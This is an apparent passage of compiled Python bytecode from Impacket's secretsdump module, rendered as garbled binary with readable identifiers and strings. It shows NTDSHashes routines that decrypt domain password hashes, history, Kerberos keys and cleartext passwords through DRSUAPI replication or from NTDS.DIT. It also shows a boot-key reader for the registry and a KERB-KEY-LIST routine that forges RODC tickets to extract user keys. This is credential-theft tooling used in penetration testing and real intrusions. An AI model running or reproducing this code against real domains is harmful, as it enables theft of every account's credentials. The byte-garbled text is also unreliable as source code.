zNTDSHashes.__getPekFromHeaderc                 C   sX   | j  t|ƒ¡\}}t |tj¡}t |tj¡}| |d d… ¡| |dd … ¡ }|S )Nrè  )rC  rW  r›  rV   rZ  rÇ  r\  )r	  rÈ  r$  rË  rÌ  rÍ  rÎ  rÏ  rt   rt   ru   Ú__removeDESLayer  s
   $zNTDSHashes.__removeDESLayerc                 C   s0   | d8 } | d } | dk rdS t  | ¡}| d¡S )Nr«  r¬  r   r  z%Y-%m-%d %H:%M)r   r§  Ústrftime)ÚtÚdtrt   rt   ru   Ú__fileTimeToDateTime  s   

zNTDSHashes.__fileTimeToDateTimec                 C   s^  d}t  d¡ | jdu s| jdu r‰|| jd  d ur‡tt|| jd  ƒƒdkr‡|| jd  d urH|| jd   d¡d }d	||| jd
  f }n	d|| jd
   }|  t|| jd  ƒ¡}|d d d… dkr€| j	 
|  |d ¡|d dd … |d ¡}	d}�n|  |¡}	d}�nd }d }d|d  }
|d |
 d d d d D ]ê}zt ||d ¡}| j}W n' ty× } zt  d| ¡ t jddd� |d }| j}W Y d }~nd }~ww ||d k�r
|d d dk�rzd |d d  d d! ¡ d"¡ d¡d }W n\   d }Y nUd }nR||d
 k�r\|d d dk�rGzd |d d  d d! ¡ d"¡}W n/   t  d#|d |
 d$ d% d d…  ¡ d&}Y nt  d#|d |
 d$ d% d d…  ¡ d&}||d k�r‹|d d dk�r‹d |d d  d d! ¡}t | j ¡ |¡}	t|	ƒdk�r‹d}q¡|d u�r—d	||f }|du �r¨z
t |	¡\}}}W n   Y d S t|ƒD ]ä}zt |¡}W n t�yÎ   t jd'|dd� Y  d S w |t|ƒd … }|d(  d"¡d)k�rSt|d* ƒ}t |¡}|d+ }t|d, ƒD ]Z}t |¡}|t|ƒd … }||d- d … d |d. … }|d/ | jv �r-d0|| j|d/  t|ƒ d1¡f }nd0|t |d/ ƒt|ƒ d1¡f }d | j!|< |d u�rO|  "||d2 ¡ �qö�q±|d(  d"¡d3k�r”zd4|t|d* ƒ d"¡f }W n t#�y�   d5||d*  d1¡f }Y nw d | j$|< |d u�r”|  "||d2 ¡ �q±|d u�rŸ| %¡  |d u�r¨| %¡  t  d6¡ d S )7NFz-Entering NTDSHashes.__decryptSupplementalInfoTr  rž  r  ú@rÕ  r^  r  ú%sr"  r  ó      r+  r$  úV%dÚpdwOutVersionr¢  ÚpObjectsÚEntinfÚ	AttrBlockÚpAttrÚattrTypz,Failed to execute OidFromAttid with error %sr1  r5  ÚAttrValÚvalCountr   r=  ÚpAValÚpValr  ú Cannot get sAMAccountName for %srï  rÚ  ÚunknownzPMalformed supplemental credential property for %s, discarding the remaining dataÚPropertyNamezPrimary:Kerberos-Newer-KeysÚPropertyValueÚBufferÚCredentialCountÚ	KeyOffsetÚ	KeyLengthÚKeyTyperÛ  r  rm  zPrimary:CLEARTEXTz%s:CLEARTEXT:%sz%s:CLEARTEXT:0x%sz,Leaving NTDSHashes.__decryptSupplementalInfo)&r   rÁ  r8  r9  rM  r?  r   rH  r1  rC  rc  r}  Ú_NTDSHashes__removeRC4Layerr   ÚOidFromAttidr  r1  ÚNAME_TO_ATTRTYPrÃ  r:  rÆ  ÚDecryptAttributeValuer:  rÌ  r   Úunpack_user_propertiesr  ÚUSER_PROPERTYÚKERB_STORED_CREDENTIAL_NEWÚKERB_KEY_DATA_NEWrß  r   ÚhexrD  Ú_NTDSHashes__writeOutputÚUnicodeDecodeErrorrE  rþ  )r	  rî  ÚprefixTableÚkeysFileÚclearTextFileÚhaveInfor�  rR  re  r_  ÚreplyVersionÚattrr  ÚLOOKUP_TABLEr7  rí  rM  ÚpropertyCountÚpropertiesDataÚuserPropertyÚpropertyValueBufferÚkerbStoredCredentialNewrŸ   Ú
credentialÚ
keyDataNewrz  rW  rt   rt   ru   Ú__decryptSupplementalInfo$  sØ   
þ
€ 
€û.$ÿ&€

ýú

$ 

€òþ

€

z$NTDSHashes.__decryptSupplementalInfoc           #      C   s6  t  d¡ | jdu s| jdu �rŽt  d|| jd   ¡ tt|| jd  ƒƒ}| ¡  d¡d }|| jd  d ur}|  	t|| jd  ƒ¡}|d	 d d
… dkrq|  
t|| jd  ƒ¡}| j |  |d	 ¡|d d d… |d ¡}n|  |¡}|  ||¡}nt dd¡}|| jd  d urÐ|  	t|| jd  ƒ¡}	|	d	 d d
… dkrÄ|  
t|| jd  ƒ¡}	| j |  |	d	 ¡|	d d d… |	d ¡}
n|  |	¡}
|  |
|¡}nt dd¡}|| jd  d ur÷|| jd   d¡d }d||| jd  f }n	d|| jd   }| jdu �r:|| jd  d u�r8d || jd  ¡dd… dk�r$d}nd || jd  ¡dd… dk�r7d}nd}|| jd  d u�rO|  || jd  ¡}nd}d||t|ƒ d ¡t|ƒ d ¡f }| jdu �rod!||f }| jdu �r{d"||f }|  tjj|¡ |d u�r�|  ||d# ¡ | j�rŒg }g }|| jd$  d u�rÕ|  t|| jd$  ƒ¡}|  |¡}t d%t!|ƒd ƒD ]}|  ||d |d& d … |¡}| "|¡ �q¼|| jd'  d u�r;|  t|| jd'  ƒ¡}|d	 d d
… dk�r|  
t|| jd'  ƒ¡}| j |  |d	 ¡|d |d ¡}n|  |¡}t d%t!|ƒd ƒD ]}|  ||d |d& d … |¡}| "|¡ �q"t#t$d(d)„ |d&d … |d&d … ƒƒD ]>\}\}}| j%�r`tt dd¡ƒ}nt|ƒ}d*|||| d ¡t|ƒ d ¡f }|d u�r‚|  ||d# ¡ |  tjj|¡ �qM�n}d+|d,  }t  d|d- | d. d/ d d…  ¡ d }| j�r±g }g }t&d0|d- | d1 d2 d3 d4 d5d … ƒd% }|d- | d1 d2 d6 d7 D �]”}zt' (||d8 ¡}| j)}W n( t*�y } zt  d9| ¡ t jd:dd;� |d8 }| j+}W Y d }~nd }~ww ||d k�rE|d< d= d%k�r=d> ,|d< d? d% d@ ¡}t' -| j. /¡ |¡}t' 0||¡}�nmt dd¡}�ne||d k�r{|d< d= d%k�rsd> ,|d< d? d% d@ ¡}t' -| j. /¡ |¡}	t' 0|	|¡}�n7t dd¡}�n/||d k�r®|d< d= d%k�r«zd> ,|d< d? d% d@ ¡ dA¡ d¡d }W �n   d }Y nÿd }nü||d k�r|d< d= d%k�rëzd> ,|d< d? d% d@ ¡ dA¡}W nÙ   t  1dB|d- | d. d/ d d…  ¡ dC}Y n¿t  1dB|d- | d. d/ d d…  ¡ dC}n©||d k�r5|d< d= d%k�rd> ,|d< d? d% d@ ¡} n‹t  1dD|d- | d. d/ d d…  ¡ |} nu||d k�rx|d< d= d%k�rwz|  t&dEd> ,|d< d? d% d@ ¡ƒd% ¡}W nM   t  1dF|d- | d. d/ d d…  ¡ d}Y n3n2| j�rª||d k�rª|d< d= d%k�r¨t&d0d> ,|d< d? d% d@ ¡ƒd% t2j3@ �r¥d}nd}nd}| j�rj||d$ k�r|d< d= d%k�rød> ,|d< d? d% d@ ¡}t' -| j. /¡ |¡}t d%t!|ƒd ƒD ]}t' 0||d |d& d … |¡}!| "|!¡ �qÝ�qÖt  dG|d- | d. d/ d d…  ¡ �qÖ||d' k�rj|d< d= d%k�rWd> ,|d< d? d% d@ ¡}t' -| j. /¡ |¡}t d%t!|ƒd ƒD ]}t' 0||d |d& d … |¡}"| "|"¡ �q<�qÖt  dH|d- | d. d/ d d…  ¡ �qÖ|d u�rwd||f }d||t|ƒ d ¡t|ƒ d ¡f }| jdu �r•d!||f }| jdu �r¡d"||f }|  tjj|¡ |d u�r¶|  ||d# ¡ | j�rt#t$dId)„ |d&d … |d&d … ƒƒD ]>\}\}!}"| j%�rßtt dd¡ƒ}nt|!ƒ}d*|||| d ¡t|"ƒ d ¡f }|  tjj|¡ |d u�r	|  ||d# ¡ �qÌ|d u�r| 4¡  t  dJ¡ d S )KNz!Entering NTDSHashes.__decryptHashTzDecrypting hash for user: %srÒ  r.  r•  rÕ  r  r"  r  r‰  r+  rY  r$  rÍ  r  r  r‡  r^  r  rˆ  r  z{0:08b}éþÿÿÿÚ1ÚDisabledr”  ÚEnabledr  r“  rb  r  z%s (pwdLastSet=%s)z%s (status=%s)rm  r  r   r0  r  c                 S   ó   | r| |fS d|fS ©NrÍ  rt   ©ÚlÚnrt   rt   ru   r       ó    z*NTDSHashes.__decryptHash.<locals>.<lambda>z%s_history%d:%s:%s:%s:::rŠ  r‹  r¢  rï  rÚ  rR  rŒ  r�  ÚpNamer×  rZ  rŽ  r�  r�  zHFailed to execute OidFromAttid with error %s, fallbacking to fixed tabler1  r5  r‘  r’  r=  r“  r”  r  r•  r–  zCannot get objectSid for %sz<QzCannot get pwdLastSet for %szNo lmPwdHistory for user %szNo ntPwdHistory for user %sc                 S   r¼  r½  rt   r¾  rt   rt   ru   r    y  rÁ  z Leaving NTDSHashes.__decryptHash)5r   rÁ  r8  r9  rM  rý   r   r  rH  r,  r.  rC  rc  r}  rž  Ú_NTDSHashes__removeDESLayerr   r&  r'  r<  rº  Ú_NTDSHashes__fileTimeToDateTimer   r:  r;  rL  r  rx  rF  r§  r6  r0  r  r?  r  r  r¡  r7  r
   r   rŸ  r  r1  r   rÃ  r¡  r:  rÌ  ÚremoveDESLayerrÆ  r   ÚUF_ACCOUNTDISABLErþ  )#r	  rî  r©  Ú
outputFilerA  r$  ÚencryptedLMHashÚ	tmpLMHashÚLMHashÚencryptedNTHashÚ	tmpNTHashÚNTHashr�  rR  ÚuserAccountStatusr“  rW  Ú	LMHistoryÚ	NTHistoryÚencryptedLMHistoryÚtmpLMHistoryr  ÚencryptedNTHistoryÚtmpNTHistoryró  r­  r®  r  r¯  r7  ÚencrypteddBCSPwdÚencryptedUnicodePwdr.  ÚLMHashHistoryÚNTHashHistoryrt   rt   ru   rÐ     sŒ  
þ
þ
""€$

 ÿþ
 ÿÿ
€&."
€û0$&&&.&û, þ* þ&€
$
ÿÿ
€
zNTDSHashes.__decryptHashc                 C   sÊ  d }d }d }g }| j r*tj | j ¡r$t| j dƒ}dd„ |D ƒ}| ¡  n| j  d¡}| jdu s4| jdu r<| j	d u r;d S nQ| j	d u r�z1| j
d urmz| j
 | j
 ¡ d ¡ W n   t d¡d urj| jd usi| jd urjn‚ Y ntdƒ‚W n tyŒ } zt d	| ¡ W Y d }~d S d }~ww �zµ| jd urÃt d
| j ¡ | j ¡ r¤d}nd}t| jd |ƒ}| jdu rÃt| jd |ƒ}t| jd |ƒ}t d¡ | jsÏ| j�r|  ¡  | jd u�rt d| j	 ¡ | jD ]�}z| j||d� | jdu rû|  |d ||¡ W qä t�ye } z\t|| jƒ�r.zt  d|| j!d  |f ¡ W n   t  d| ¡ Y W Y d }~qätjddd� zt "d|| j!d   ¡ t "t#|ƒ¡ W n   t "d¡ t "t#|ƒ¡ Y W Y d }~qäd }~ww 	 z| j$j%| j&| j'd�}W n   t "d¡ Y �qf|d u �r…nŠz|  (|¡�r¡| j||d� | jdu �r¡|  |d ||¡ W nj t�y } z]t|| jƒ�rÕzt  d|| j!d  |f ¡ W n   t  d| ¡ Y W Y d }~�qftjddd� zt "d|| j!d   ¡ t "t#|ƒ¡ W n   t "d¡ t "t#|ƒ¡ Y W Y d }~nd }~ww �qg�n¡t d¡ t)}	d}
d}| j ¡ �r/| j *¡ }t d| ¡ nd }| jd u �rB| jd u �rB| j +¡  | jd u�r9| j ,d ¡dk�sZ| j ,d!¡dk�rg| j -d!d ¡| _t.j/j0}nt.j1}| j
j2|t.j/j3| jd"�}|d# d$ d% d& dk�r×|d# d$ d% d' d d( dk�r«td)t4j5d*|d# d$ d% d' d d(    ƒ‚| j
 6|d# d$ d% d' d d+ d d,… ¡}d-|d.  }|d# | d/ dk�rÖtd0ƒ‚nt  d1|d# d$ d% d& | jf ¡ z(|  ||d# | d2 d3 |¡ | jdu �r|  ||d# | d2 d3 ||¡ W �n� t�y8 } zt "d4¡ tjddd� t "t#|ƒ¡ W Y d }~�nmd }~ww | jd u�rK| j
 7| j¡}t.j/j0}|D ]ü\}}|�rwz| j
 8|¡}W n t.j9�yv } zt d5¡ d}W Y d }~nd }~ww |�sâ| j
j2|t.j/j3|d"�}|d# d$ d% d& dk�rÑ|d# d$ d% d' d d( dk�rºtd)t4j5d*|d# d$ d% d' d d(    ƒ‚| j
 6|d# d$ d% d' d d+ d d,… ¡}nt  d1|d# d$ d% d& |f ¡ d-|d.  }|d# | d/ dk�r÷td0ƒ‚z(|  ||d# | d2 d3 |¡ | jdu �r|  ||d# | d2 d3 ||¡ W �qL t�yH } zt "d6| ¡ tjddd� t "t#|ƒ¡ W Y d }~�qLd }~ww �nV|	t)k�r¡| j
 :|
¡}|d7 d7 D �]6}|d8 }||v �rj�q\d9| j
 ;¡ |d: f }|d u�r’||k�r‰t d;| ¡ d }nt d<| ¡ �q\|�r¹z| j
 8|¡}W n t.j9�y¸ } zt d5¡ d}W Y d }~nd }~ww |�s)| j
j2t.j/j<t.j/j3|d"�}|d# d$ d% d& dk�r|d# d$ d% d' d d( dk�rt "d)t4j5d*|d# d$ d% d' d d(    ¡  n“| j
 6|d# d$ d% d' d d+ d d,… ¡}nt  d1|d# d$ d% d& |f ¡ d-|d.  }|d# | d/ dk�r>td0ƒ‚z'|  ||d# | d2 d3 |¡ | jdu �rd|  ||d# | d2 d3 ||¡ W n& t�y‹ } zt "d4¡ tjddd� t "t#|ƒ¡ W Y d }~nd }~ww | j =|¡ �q\|d= }
|d> }	|	t)k�sP| jd u �r²| jd u �r²| j >¡  t d?¡ t?| j@ƒdk�rì| jdu �sË| jdu �rÔt d@| j	 ¡ nt dA¡ tA| j@ B¡ ƒD ]}|  CtDjEjF|¡ �qàt?| jGƒdk�r!| jdu �s | jdu �r	t dB| j	 ¡ nt dC¡ tA| jG B¡ ƒD ]}|  CtDjEjH|¡ �qW |d u�r+| ¡  |d u�r4| ¡  |d u�r=| ¡  | j I¡  d S |d u�rM| ¡  |d u�rV| ¡  |d u�r_| ¡  | j I¡  w )DNÚrc                 S   s   g | ]}|  ¡ ‘qS rt   r  )r´  r4  rt   rt   ru   rµ  “  rÁ  z#NTDSHashes.dump.<locals>.<listcomp>ú,Tr0  Ú
KRB5CCNAMEzNo remote Operations availablez$Exiting NTDSHashes.dump() because %szSaving output to %sza+r  z.ntdsFz.ntds.kerberosz.ntds.cleartextz9Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)z&Reading and decrypting hashes from %s )rÇ  zSkipping row for user %s: %srÒ  zSkipping row: %sr1  r5  z&Error while processing row for user %szError while processing row!rg  rr  z0Using the DRSUAPI method to get NTDS.DIT secretsr   z Resuming from SID %s, be patientr  r>  )rÒ  r¢  ÚV1ÚpResultr¤  r¥  Ústatusz%s: %si!  rÂ  rÕ  rŠ  r‹  ÚcNumObjectsz)DRSGetNCChanges didn't return any object!z5DRSCrackNames returned %d items for user %s, skippingÚPrefixTableSrcrþ  zError while processing user!zCSID lookup unsuccessful, falling back to DRSCrackNames/GUID lookupszError while processing user %s!r™  ÚNamez%s-%iÚ
RelativeIdz2resumeSid %s reached! processing users from now onz.Skipping SID %s since it was processed alreadyÚEnumerationContextÚ	ErrorCodezUFinished processing and printing user's hashes, now printing supplemental informationzKerberos keys from %s zKerberos keys grabbedzClearText password from %s zClearText passwords grabbed)JrK  rù  rú  rû  r  rE  rH  r8  r9  r5  r:  r�  r  ÚgetenvrI  rJ  r1  r   rÁ  rH  rG  r÷  r!  rF  r~  Ú_NTDSHashes__getPekrB  rA  Ú_NTDSHashes__decryptHashÚ$_NTDSHashes__decryptSupplementalInfor8  r  rÁ  rM  rÆ  r2  r>  ri  r@  rN  rs  r;   r  r  r3  rì  r   rN  ÚDS_NT4_ACCOUNT_NAMEÚDS_NT4_ACCOUNT_NAME_SANS_DOMAINrÓ  ÚDS_UNIQUE_ID_NAMEr   ÚERROR_MESSAGESrà  r@  ræ  ÚDCERPCSessionErrorr  rA  ÚDS_SID_OR_SID_HISTORY_NAMErÿ  rü  r?  rD  r»  ru  rL  r  rx  r
  rE  r	  rø  )r	  ÚhashesOutputFileÚkeysOutputFileÚclearTextOutputFileÚ	skipUsersÚfr7  r  rî  rÞ  r  ÚlookupBySidr  rÐ  ÚcrackedNameÚ
userRecordr­  rŽ  rf  rã  rR  ÚitemKeyrt   rt   ru   rÂ  Š  s^  

þ

"þ€€ý





€
ÿÿ
€ï

€
ÿÿ
€ïò€
!

$
þ"ÿ,ÿÿþÿÿ€
€ý
€þþ"ÿ.ÿþÿÿ€€ýÙ
,



€þþ"
ÿ"ÿÿþÿÿ€
€ý
¾F



€



÷

zNTDSHashes.dumpc              
   C   sJ   z|  |¡ W d S  ty$ } zt dt|ƒ ¡ W Y d }~d S d }~ww )Nz"Error writing entry, skipping (%s))rB  r1  r   rÆ  r2  )r[  rq  rŸ   r7  rt   rt   ru   Ú__writeOutputÕ  s   €þzNTDSHashes.__writeOutputc                 C   r  rG  )r5  r>  rE  rD  rt   rt   ru   r�  Ý  s   
ÿzNTDSHashes.finishrM  )NNNrL  )-rp   rq   rr   r1  r  rx  rM  r   r  rß  Údictrp  ÚINTERNAL_TO_NAMEÚSAM_NORMAL_USER_ACCOUNTÚSAM_MACHINE_ACCOUNTÚSAM_TRUST_ACCOUNTrn  r<   r&  r(  r*  r,  r.  r0  r1  rò  r+  Úclassmethodrb  ro  rj  rm  rs  rq  ræ  rž  r}  rÃ  ri  rÄ  rè  rç  rÂ  r§  r�  rt   rt   rt   ru   r  ·	  sä    ÿþýüûúùø	÷
öõôóòñðïê÷öû


ü2


!@	


	
| k  M
r  c                   @   s,   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	S )
ÚLocalOperationsc                 C   rr  rG  )Ú_LocalOperations__systemHive)r	  Ú
systemHivert   rt   ru   r+  â  ru  zLocalOperations.__init__c                 C   s   |  d¡d }d| S )Nz\Select\Currentr0  zControlSet%03d)ry  )r	  ÚwinregÚcurrentControlSetrt   rt   ru   Ú__getCurrentControlSetå  s   z&LocalOperations.__getCurrentControlSetc           
      C   sÂ   d}d}t  | jd¡}|  |¡}dD ]!}t d| ¡ | d||f ¡}|d d…  d¡}|t|ƒ }qg d¢}t	|ƒ}t
t|ƒƒD ]}	||||	 ||	 d	 … 7 }qBt d
t|ƒ d¡ ¡ |S )Nr=  Fr‘  r•  z\%s\Control\Lsa\%srY  r  r—  r0  r   r  )r   rl  r   Ú&_LocalOperations__getCurrentControlSetr   rÁ  r}  r:  r   r   r  r?  r~  r   )
r	  r£  r’  r  r  r¤  r
  Údigitr¥  r  rt   rt   ru   r¦  é  s   
zLocalOperations.getBootKeyc                 C   sj   t  d¡ t | jd¡}|  |¡}| d| ¡}|d ur!|d }nd}|dkr.t  d¡ dS t  d¡ dS )	Nr§  Fz\%s\Control\Lsa\NoLmHashr0  r   r©  rª  T)r   rÁ  r   rl  r   r  ry  )r	  r  r  ÚnoLmHashrt   rt   ru   r¬    s   




z#LocalOperations.checkNoLMHashPolicyN)rp   rq   rr   r+  r  r¦  r¬  rt   rt   rt   ru   rÿ  á  s
    rÿ  c                   @   sB   e Zd Zddd„Zdd„ Zdd„ Zdd	„ Zed
d„ ƒZdd„ Z	dS )ÚKeyListSecretsNc                 C   sL   || _ || _|| _| j d u r|| _|| _d S | j  ¡ d | _| j  ¡ | _d S r8  )Ú_KeyListSecrets__remoteOpsÚ!_KeyListSecrets__keyVersionNumberÚ_KeyListSecrets__rodcKeyÚ_KeyListSecrets__kdcHostNameÚ_KeyListSecrets__domainr  rZ  )r	  Ú
domainNameÚkdcÚkvnoÚrodcKeyr‰  rt   rt   ru   r+    s   

zKeyListSecrets.__init__c           	      C   s¬   t  d¡ | j | j ¡ d ¡ |  ¡ }|D ]=}| d¡d }td| tj	j
jd�}|  |¡\}}|  |||¡}|d urS|  ||¡}t| jd | d |dd …  ƒ qd S )	Nz-Using the KERB-KEY-LIST method to get secretsr0  r‚   r   rˆ  ©r3  r  r“  )r   r~  r	  r�  r  ÚgetAllowedUsersToReplicaterH  rU   r@   rM   ÚNT_PRINCIPALr]  ÚcreatePartialTGTÚ
getFullTGTÚgetKeyÚprintr  )	r	  Ú
targetListÚ
targetUserrf  ÚtargetUserNameÚ
partialTGTÚ
sessionKeyÚfullTGTr¤  rt   rt   ru   rÂ  !  s   
"€ùzKeyListSecrets.dumpc                 C   s"  t ƒ }tjj|d< | j|d< t|d< tjj|d d< d|d d d< | j|d d d< t|d	< | jd
> |d	 d< t	j
j|d	 d< tƒ }tƒ }| tjj¡ | tjj¡ | tjj¡ t|ƒ|d< t|d< |d	 d |d d< d dd„ tdƒD ƒ¡|d d< | j|d< t|d< tjj|d d< t|d d< ||d d d< t|d< d|d d< d|d d< t t tj¡¡|d< t t tj¡¡|d< t tj¡ttdƒd� }t |¡|d< t |¡|d< t|d < t |¡}t |d	 d  }t!|j"t#| j$ƒƒ}| %|d!|d ¡}	|	|d	 d"< |d d }
||
fS )#Nztkt-vnorË  Úsnameú	name-typeÚkrbtgtúname-stringr   r0  úenc-partrY  r  rä  rË  r¤  ÚkeytyperÍ  c                 S   r­  rt   r®  r³  rt   rt   ru   rµ  G  r¶  z3KeyListSecrets.createPartialTGT.<locals>.<listcomp>r–  ÚkeyvalueÚcrealmÚcnameÚ	transitedztr-typerà  ÚauthtimeÚ	starttimeéx   ©ÚdaysÚendtimez
renew-tillzauthorization-datar“  rÝ  )&Ú
TicketAsn1rK   Úpvnor]  r  r\   rM   ÚNT_SRV_INSTr
  rO   rÜ  rB   r»  r  rL   ÚforwardableÚ	renewableÚ
enc_pa_reprN   rÃ  r  r  rT   Úto_asn1r   rN  r	   r¨  r   r›  r_   rK  rR   rQ   Úenctyper   r  rd  )r	  rR  r  ÚencTicketPartrË  ÚticketDurationÚencodedEncTicketPartrÝ  r¤  re  r  rt   rt   ru   r  .  sP   
 

zKeyListSecrets.createPartialTGTc              
   C   s
  t ƒ }| |¡ tƒ }d|d< ttjjjƒ|d< tƒ }t |¡|d< t	|d|j
ƒ tƒ }d|d< |d  ¡ |d< t	|d	|jƒ t tj¡}|j|d
< t 
|¡|d< t |¡}	t|d d  }
t|
jt|ƒƒ}|
 |d|	d ¡}t|d< |
j|d d< ||d d< tƒ }d|d< ttjjjƒ|d< t|d< t|d d< ttjjjƒ|d d d< t |¡}||d d d< t|d d< ttjjjƒ|d d d< tjdgt t!ƒ d�d�}||d d d< t	|dƒ}tƒ }| "tj#j$j¡ t |¡|d< t%dt&j'jd�}t&j'j|d d< ||d d d< | j(|d d d< | j(|d< t tj¡t)dd � }t 
|¡|d!< t* +d"¡|d#< t,|dt|
jƒttj-j.jƒttj-j/jƒttj-j0jƒttj-j1jƒfƒ t |¡}zt2 3d$|¡ t4|| j(| j5ƒ}W |S  t6�y } z�t7|ƒ 8d%¡dk�s…t7|ƒ 8d&¡dk�rŒt2 9d'|¡ nmt7|ƒ 8d(¡dk�r�t2 9d)|¡ n\t7|ƒ 8d*¡dk�r®t2 9d+|¡ nKt7|ƒ 8d,¡dk�r¼t6d-ƒ‚t7|ƒ 8d.¡dk�rÊt6d/ƒ‚t7|ƒ 8d0¡dk�rØt6d1ƒ‚t7|ƒ 8d2¡dk�ræt6d3ƒ‚t7|ƒ 8d4¡dk�rôt6d5ƒ‚t2 9|¡ W Y d }~d S d }~ww )6Nr  r0  zmsg-typez
ap-optionsÚticketzauthenticator-vnorË  r&  r'  ÚcusecÚctimer#  rä  rŸ  ÚauthenticatorrÝ  Úpadatar   zpadata-typeúpadata-valuer0  é   )ÚcomponentType©Úasn1Speczreq-bodyzkdc-optionsr!  r  r  r   r"  r,  Útillé   Únoncez+Requesting a service ticket for the user %sÚKDC_ERR_TGT_REVOKEDÚKDC_ERR_CLIENT_REVOKEDz<User %s is not allowed to have passwords replicated in RODCsÚKDC_ERR_C_PRINCIPAL_UNKNOWNzUser %s doesn't existÚKDC_ERR_KEY_EXPIREDzUser %s's password has expiredzConnection timed outzDConnection timed out: check the KDC HostName or IP address, abortingzName or service not knownzIName or service not known: check the KDC HostName or IP address, abortingÚKDC_ERR_WRONG_REALMz3KDC_ERR_WRONG_REALM: domain doesn't exist, abortingÚKDC_ERR_S_PRINCIPAL_UNKNOWNzKKDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, abortingÚKRB_AP_ERR_BAD_INTEGRITYz:KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting):rA   Ú	from_asn1rC   r›  r@   ÚApplicationTagNumbersr]  r»  rN   rD   r5  rE   r9  Úcomponents_to_asn1r   rN  r	   r¨  ÚmicrosecondrT   r_   rK  rR   rQ   r6  rS  rd  r\   rF   ÚPreAuthenticationDataTypesÚ
PA_TGS_REQÚKERB_KEY_LIST_REQr]   r^   r  Ú
KDCOptionsÚcanonicalizerU   rM   r1  r  r   ÚrandÚgetrandbitsrG   rO   rÝ  r  Úrc4_hmac_expÚrc4_hmac_old_expr¿  rÁ  rS   r  r1  r2  r3  rÆ  )r	  rR  r  r  r:  ÚapReqÚoptsr=  rN  ÚencodedAuthenticatorrÝ  ÚkeyAuthÚencryptedEncodedAuthenticatorÚtgsReqÚencodedApReqÚencodedKeyReqÚreqBodyÚ
serverNameÚmessagerŽ  rÆ  rt   rt   ru   r  e  s    





ûÿ

ì(
€ízKeyListSecrets.getFullTGTc                 C   sš   t j| tƒ d�d }|d }|d }t| }t|jt|ƒƒ}| |d|d ¡}t j|tƒ d�d }|d d }	t j|	d t	ƒ d�d }
|
d d	  
¡ }|S )
NrB  r   r#  rä  rè  rÝ  Úencrypted_pa_datar?  r%  )r`   r:  rH   rR   rQ   r6  rS  r\  rI   rJ   ÚprettyPrint)rŽ  r  ÚtgsRepÚencTGSRepPartr6  rÝ  r^  ÚdecryptedTGSRepPartÚdecodedTGSRepPartÚ
encPaData1ÚdecodedPaData1r¤  rt   rt   ru   r  Æ  s   zKeyListSecrets.getKeyc                 C   sœ  | j  ¡ }g }|d d D ]	}| |d ¡ q| j  ¡ }g }|d d D ]	}| |d ¡ q$| j jdd�}g d¢}|d d D ]}|d d	 d
 d }||vrT| |¡ q?|D ]I}||v rz| j  |¡}|d d D ]}|d }	|	|vrx| |	¡ qiqW||v r | j  |¡}|d d D ]}|d d	 d
 d }	|	|vrŸ| |	¡ qŠqW| j  ¡ }g }
|d d D ]}|d |vrËd|d vrË|
 |d d t|d ƒ ¡ q®|
S )Nr™  râ  i<  )r$  )r  iõ  iö  i÷  r  ÚSidsr�   Ú
SidPointerr  r  Úkrbtgt_rá  r‚   )r	  r  r  r  r+  r%  r  r2  )r	  rŽ  Ú
groupsListr  ÚaliasesListÚaliasÚ
deniedListrf  r$  Úrid2r  rt   rt   ru   r  ×  sL   


€
€ý
€
€z)KeyListSecrets.getAllowedUsersToReplicaterG  )
rp   rq   rr   r+  rÂ  r  r  ri  r  r  rt   rt   rt   ru   r    s    
7a
r  c                  O   s   t | d ƒ d S )NrÕ  )r  )ÚargsÚkwargsrt   rt   ru   r‚    s   r‚  )r  N)­Ú
__future__r   r   r  r¿  rµ  r¿  r¾  rù  r½  r¯  r±  r4  Úbinasciir   r   Úcollectionsr   r   r   r	   Ústructr
   r   Úsixr   r   Úimpacketr   r   r   r   Úimpacket.ldap.ldapr   r   Úimpacket.ldap.ldapasn1r   Úimpacket.ldap.ldaptypesr   Úimpacket.dcerpc.v5r   r   r   r   r   r   r   Úimpacket.dcerpc.v5.dtypesr   r   Úimpacket.dcerpc.v5.rpcrtr   r    r!   Úimpacket.dcerpc.v5.dcomr"   Úimpacket.dcerpc.v5.dcom.oautr#   r$   r%   r&   r'   r(   r)   Úimpacket.dcerpc.v5.dcomrtr*   r+   r,   r-   r.   r/   r0   r1   r2   r3   r4   r5   Úimpacket.eser6   r7   Úimpacket.dpapir8   Úimpacket.smb3structsr9   r:   Úimpacket.nt_errorsr;   Úimpacket.structurer<   r=   Úimpacket.uuidr>   Úimpacket.cryptor?   Úimpacket.krb5r@   Úimpacket.krb5.asn1rA   r/  rB   rC   rD   rE   rF   rG   rH   rI   rJ   Úimpacket.krb5.constantsrK   rL   rM   rN   rO   Úimpacket.krb5.cryptorP   rQ   rR   Úimpacket.krb5.kerberosv5rS   Úimpacket.krb5.typesrT   rU   ÚCryptodome.CipherrV   rW   rX   ÚCryptodome.HashrY   rZ   r[   ÚImportErrorÚcriticalÚpyasn1Úpyasn1.type.univr\   r]   r^   Úpyasn1.codec.derr_   r`   ÚSystemRandomrW  ÚNotImplementedErrorrb   rw   r}   rƒ   r…   r›   r¡   r¤   rµ   rÞ   râ   rú   rý   r  r  r  r!  r"  rL  rQ  rj  r€  rs  Úobjectrò  r  rÿ  r  r‚  rt   rt   rt   ru   Ú<module>   sä   1$$80
þÿþ
	-!		

3       57    1   F3        24 q